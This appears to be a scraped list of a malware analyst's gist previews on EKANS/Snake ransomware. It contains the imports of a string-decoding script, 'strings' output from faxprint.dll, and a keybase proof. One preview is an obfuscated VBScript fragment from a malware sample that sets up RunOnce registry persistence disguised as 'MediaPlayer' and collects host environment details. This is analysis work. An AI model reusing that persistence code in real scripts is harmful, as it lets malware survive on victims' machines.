W3ndige

Tweaked script:

import re
import sys
import pefile
import struct
import binascii

W3ndige

$ strings -e l faxprint.dll 
GGMM
exit
%s%s\
Kernel32.dll
May  9 2020
%d*%d
%dd%dh%dm%ds
T:%dM,A:%dM
~MHz

W3ndige

Strings decoded from the newer version of #EKANS ransomware.

import re
import sys
import pefile
import struct
import binascii

W3ndige

On Error Resume Next
Set bhBxz = WScript.CreateObject("WScript.Shell")
NgWJtK = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\MediaPlayer"
Set VFUSKXwNgG = CreateObject("WScript.Shell")
Set ioBuA = CreateObject("Scripting.FileSystemObject")
ARtLeH = VFUSKXwNgG.ExpandEnvironmentStrings("%USERPROFILE%")
GOfuTtmrFM=VFUSKXwNgG.ExpandEnvironmentStrings("%COMPUTERNAME%")
tAqdq=VFUSKXwNgG.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
IVcetC=VFUSKXwNgG.ExpandEnvironmentStrings("%APPDATA%")

W3ndige

Script and the decoded strings from the EKANS/Snake ransomware. Original script written by @sysopfb - I've only modified the regexp to cover all cases where decryption was used in the sample.

Script:

import re
import sys
import pefile
import struct

W3ndige

Keybase proof

I hereby claim:

• I am W3ndige on github.
• I am w3ndige (https://keybase.io/w3ndige) on keybase.
• I have a public key whose fingerprint is 2B28 A0A2 94AE FE39 F809 6580 6221 363F F83A B8FB

To claim this, I am signing this object:

W3ndige